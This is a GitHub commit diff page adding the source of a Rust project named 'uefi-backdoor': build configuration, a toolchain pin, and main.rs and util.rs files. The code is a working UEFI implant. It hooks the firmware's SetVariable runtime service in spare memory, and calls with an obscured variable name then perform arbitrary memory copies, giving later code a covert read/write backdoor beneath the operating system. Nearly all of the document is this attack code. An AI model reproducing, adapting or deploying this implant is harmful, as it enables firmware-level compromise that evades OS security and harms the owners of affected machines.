-
Notifications
You must be signed in to change notification settings - Fork 6
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
7 changed files
with
374 additions
and
10 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
[build] | ||
target = "x86_64-unknown-uefi" | ||
|
||
[target.x86_64-unknown-uefi] | ||
rustflags = ["-Ccode-model=small", "-Clink-arg=/debug:none"] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,10 +1 @@ | ||
# Generated by Cargo | ||
# will have compiled files and executables | ||
/target/ | ||
|
||
# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries | ||
# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html | ||
Cargo.lock | ||
|
||
# These are backup files generated by rustfmt | ||
**/*.rs.bk | ||
/target |
Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
[package] | ||
name = "uefi-backdoor" | ||
version = "0.1.0" | ||
edition = "2018" | ||
|
||
[profile.dev] | ||
panic = "abort" | ||
|
||
[profile.release] | ||
codegen-units = 1 | ||
lto = true | ||
panic = "abort" | ||
|
||
[package.metadata.cargo-xbuild] | ||
panic_immediate_abort = true | ||
|
||
[dependencies] | ||
ezhook = "0.1.0" | ||
panic-abort = "0.3.2" | ||
r-efi = "3.0.0" | ||
uefi = "0.4.6" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
nightly-2020-06-15 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,91 @@ | ||
#![no_std] | ||
#![no_main] | ||
#![feature(abi_efiapi)] | ||
|
||
extern crate panic_abort; | ||
|
||
#[macro_use] | ||
mod util; | ||
use util::*; | ||
|
||
use core::mem; | ||
use ezhook::remote_hook; | ||
use uefi::{prelude::*, table::boot::Tpl, Guid}; | ||
|
||
remote_hook! { | ||
#[hook] | ||
unsafe extern "efiapi" fn set_variable_hook( | ||
variable_name: *const u16, | ||
vendor_guid: *const Guid, | ||
attributes: u32, | ||
data_size: usize, | ||
data: *const u8, | ||
) -> Status { | ||
if !variable_name.is_null() { | ||
if eq(variable_name, ©_VARIABLE_NAME) { | ||
if data_size == mem::size_of::<CopyData>() { | ||
copy(&*(data as *const CopyData)); | ||
} | ||
|
||
return Status::SUCCESS | ||
} | ||
|
||
if eq(variable_name, &UNHOOK_VARIABLE_NAME) { | ||
toggle!(); | ||
|
||
return Status::SUCCESS | ||
} | ||
|
||
// TODO: store the remote location for proper unhooking | ||
} | ||
|
||
orig!(variable_name, vendor_guid, attributes, data_size, data) | ||
} | ||
|
||
unsafe fn eq(a: *const u16, b: &[u8]) -> bool { | ||
b.iter().enumerate().all(|(n, i)| *a.add(n) == *i as u16) | ||
} | ||
|
||
static COPY_VARIABLE_NAME: [u8; 15] = *b"onpxqbbe::pbcl\0"; | ||
|
||
#[repr(C)] | ||
struct CopyData { | ||
src: *const u8, | ||
dst: *mut u8, | ||
count: usize, | ||
} | ||
|
||
unsafe fn copy(data: &CopyData) { | ||
for i in 0..data.count { | ||
*data.dst.add(i) = *data.src.add(i); | ||
} | ||
} | ||
|
||
static UNHOOK_VARIABLE_NAME: [u8; 17] = *b"onpxqbbe::haubbx\0"; | ||
} | ||
|
||
fn main() -> Status { | ||
let set_variable = raw_runtime_services().set_variable; | ||
println!("[+] set_variable = {:x}", set_variable as usize); | ||
|
||
let region = unwrap!(region_containing(set_variable as _)); | ||
println!("[+] region = {:x}:{:x}", region.start, region.end); | ||
let region = unsafe { range_to_slice(region) }; | ||
|
||
let location = unwrap!(search_for_contiguous(region, 0, unsafe { | ||
set_variable_hook::len() | ||
})); | ||
let start = location.as_ptr() as usize; | ||
println!("[+] location = {:x}:{:x}", start, start + location.len()); | ||
|
||
unsafe { | ||
let hook = set_variable_hook::copy_to(location); | ||
hook.hook(mem::transmute(set_variable)); | ||
|
||
let guard = system_table().boot_services().raise_tpl(Tpl::NOTIFY); | ||
hook.toggle(); | ||
mem::drop(guard); | ||
} | ||
|
||
Status::SUCCESS | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,132 @@ | ||
use core::{ | ||
mem::{self, MaybeUninit}, | ||
ops::Range, | ||
slice, | ||
}; | ||
|
||
use r_efi::{protocols::simple_text_output, system::RuntimeServices as RawRuntimeServices}; | ||
use uefi::{prelude::*, proto::console::text::Color, Completion}; | ||
|
||
static mut SYSTEM_TABLE: MaybeUninit<SystemTable<Boot>> = MaybeUninit::uninit(); | ||
|
||
pub fn system_table() -> &'static SystemTable<Boot> { | ||
unsafe { &*SYSTEM_TABLE.as_ptr() } | ||
} | ||
|
||
pub fn raw_runtime_services() -> &'static RawRuntimeServices { | ||
unsafe { &*(system_table().runtime_services() as *const _ as *const _) } | ||
} | ||
|
||
macro_rules! print { | ||
($($arg:tt)*) => { { | ||
use ::core::fmt::Write; | ||
let _ = ::core::write!($crate::util::system_table().stdout(), $($arg)*); | ||
} } | ||
} | ||
|
||
macro_rules! println { | ||
($($arg:tt)*) => { { | ||
use ::core::fmt::Write; | ||
let _ = ::core::writeln!($crate::util::system_table().stdout(), $($arg)*); | ||
} } | ||
} | ||
|
||
#[entry] | ||
fn efi_main(_image_handle: Handle, system_table: SystemTable<Boot>) -> Status { | ||
unsafe { SYSTEM_TABLE = MaybeUninit::new(system_table) }; | ||
|
||
main(); | ||
|
||
Status::LOAD_ERROR | ||
} | ||
|
||
fn main() { | ||
let stdout = system_table().stdout(); | ||
|
||
let (foreground, background) = unsafe { | ||
let raw_stdout = &*(stdout as *const _ as *const simple_text_output::Protocol); | ||
let mode = &*raw_stdout.mode; | ||
mem::transmute(( | ||
(mode.attribute & 0xF) as u8, | ||
(mode.attribute >> 4 & 0x7) as u8, | ||
)) | ||
}; | ||
|
||
match crate::main() { | ||
Status::SUCCESS => { | ||
let _ = stdout.set_color(Color::LightGreen, background); | ||
println!("╔══════════╗"); | ||
println!("║ Success! ║"); | ||
println!("╚══════════╝"); | ||
} | ||
status => { | ||
let _ = stdout.set_color(Color::LightRed, background); | ||
println!("[-] error: {:?}", status); | ||
} | ||
} | ||
|
||
let _ = stdout.set_color(Color::White, background); | ||
print!("Press any key to continue..."); | ||
let _ = stdout.set_color(foreground, background); | ||
|
||
let stdin = system_table().stdin(); | ||
let _ = system_table() | ||
.boot_services() | ||
.wait_for_event(&mut [stdin.wait_for_key_event()]); | ||
let _ = stdin.read_key(); | ||
|
||
println!(); | ||
} | ||
|
||
macro_rules! unwrap { | ||
($expr:expr) => { | ||
$expr?.split().1 | ||
}; | ||
} | ||
|
||
static mut BUFFER: [u8; 4096] = [0; 4096]; | ||
|
||
pub fn region_containing(address: usize) -> uefi::Result<Range<usize>> { | ||
let (status, (_, descriptors)) = system_table() | ||
.boot_services() | ||
.memory_map(unsafe { &mut BUFFER })? | ||
.split(); | ||
|
||
let region = descriptors | ||
.map(|descriptor| { | ||
let start = descriptor.phys_start as usize; | ||
let end = start + descriptor.page_count as usize * 4096; | ||
|
||
start..end | ||
}) | ||
.find(|region| region.contains(&address)); | ||
|
||
match region { | ||
Some(region) => Ok(Completion::new(status, region)), | ||
None => Err(Status::NOT_FOUND.into()), | ||
} | ||
} | ||
|
||
pub unsafe fn range_to_slice(range: Range<usize>) -> &'static mut [u8] { | ||
slice::from_raw_parts_mut(range.start as _, range.len()) | ||
} | ||
|
||
pub fn search_for_contiguous(slice: &mut [u8], item: u8, count: usize) -> uefi::Result<&mut [u8]> { | ||
let mut current = 0; | ||
|
||
for (n, i) in slice.iter().enumerate() { | ||
if *i == item { | ||
current += 1; | ||
|
||
if current == count { | ||
let slice = &mut slice[n + 1 - count..n + 1]; | ||
|
||
return Ok(slice.into()); | ||
} | ||
} else if current != 0 { | ||
current = 0; | ||
} | ||
} | ||
|
||
Err(Status::NOT_FOUND.into()) | ||
} |